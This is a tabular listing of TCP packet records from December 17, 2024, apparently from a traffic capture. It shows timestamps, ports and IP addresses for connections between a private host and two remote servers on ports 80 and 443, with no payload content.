Dec 17, 2024 08:03:29.071852922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.071907043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.071974039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.072025061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.072772980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.072805882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.072825909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.072854042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.073612928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.073667049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.073729038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.073776960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.074506044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.074559927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.074629068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.074681044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.075401068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.075455904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.075578928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.075630903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.076432943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.076467991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.076488018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.076514959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.139276981 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.139348030 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:29.141808987 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:29.141824007 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.142338991 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.143948078 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:29.143981934 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:29.144078970 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.223082066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.223154068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.223264933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.223319054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.223447084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.223490953 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.223587990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.223628998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.224479914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.224518061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.224567890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.224607944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.225317955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.225362062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.225558996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.225596905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.225723982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.225761890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.227812052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.227828979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.227844000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.227860928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.227860928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.227883101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.227894068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.227933884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.228354931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.228394032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.228447914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.228485107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.229327917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.229365110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.229449987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.229489088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.230390072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.230407000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.230431080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.230441093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.231101990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.231142044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.231198072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.231235981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.232012033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.232053041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.232110023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.232147932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.232940912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.232979059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.233289957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.233329058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.233831882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.233870029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.233933926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.233967066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.234761000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.234802008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.234905958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.234946012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.235728025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.235743999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.235771894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.235785007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.236605883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.236645937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.236675024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.236712933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.237518072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.237534046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.237556934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.237570047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.238507986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.238523006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.238547087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.238563061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.239296913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.239336967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.239403009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.239440918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.240386009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.240402937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.240422964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.240437984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.241313934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.241328955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.241350889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.241364002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.242094040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.242130995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.242183924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.242219925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.242969990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.243007898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.243062973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.243099928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.243942976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.243979931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.244014025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.244050980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.244823933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.244863987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.244918108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.244954109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.245825052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.245860100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.245871067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.245906115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.246687889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.246747971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.246803045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.246840000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.247586012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.247626066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.247688055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.247725964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.248457909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.248497963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.248553991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.248591900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.249507904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.249525070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.249546051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.249558926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.250411034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.250427008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.250449896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.250461102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.251224041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.251261950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.251327038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.251363993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.252125978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.252163887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.252239943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.252275944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.253158092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.253174067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.253197908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.253206968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.254031897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.254070044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.254126072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.254162073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.255027056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.255042076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.255067110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.255076885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.255861044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.255897999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.255906105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.255944014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.256709099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.256747007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.256822109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.256860018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.257766008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.257781029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.257805109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.257813931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.258582115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.258596897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.258616924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.258631945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.259474039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.259512901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.259584904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.259622097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.260370016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.260409117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.260464907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.260503054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.261312962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.261352062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.261436939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.261476994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.262226105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.262264013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.262319088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.262375116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.263235092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.263272047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.263307095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.263344049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.264019012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.264056921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.264130116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.264168024 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.265053988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.265069962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.265096903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.265096903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.265911102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.265950918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.265979052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.266016960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.266851902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.266866922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.266887903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.266900063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.267827034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.267863989 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.267899990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.267937899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.268802881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.268817902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.268843889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.268856049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.269678116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.269736052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.269809008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.269854069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.270541906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.270582914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.270591974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.270625114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.415283918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.415401936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.415505886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.415505886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.415674925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.415710926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.415728092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.415757895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.416531086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.416584969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.416634083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.416697025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.417601109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.417655945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.417737961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.417779922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.417824984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.417865038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.418684006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.418731928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.418786049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.418824911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.419634104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.419650078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.419673920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.419693947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.420542002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.420557022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.420583010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.420598984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.421442032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.421458006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.421483994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.421500921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.422338009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.422353983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.422379971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.422396898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.423295975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.423310995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.423333883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.423384905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.424209118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.424225092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.424249887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.424268007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.425065041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.425112009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.425151110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.425199032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.426032066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.426065922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.426084042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.426106930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.426938057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.426994085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.427077055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.427123070 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.427810907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.427865028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.427949905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.427994967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.428715944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.428767920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.428848982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.428893089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.429718018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.429753065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.429771900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.429795027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.430648088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.430681944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.430702925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.430718899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.431437969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.431494951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.431579113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.431624889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.432430029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.432463884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.432477951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.432507992 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.433382034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.433423042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.433429003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.433465004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.434325933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.434377909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.434497118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.434541941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.435345888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.435379982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.435385942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.435425043 CET	49867	80	192.168.2.5	31.41.244.11
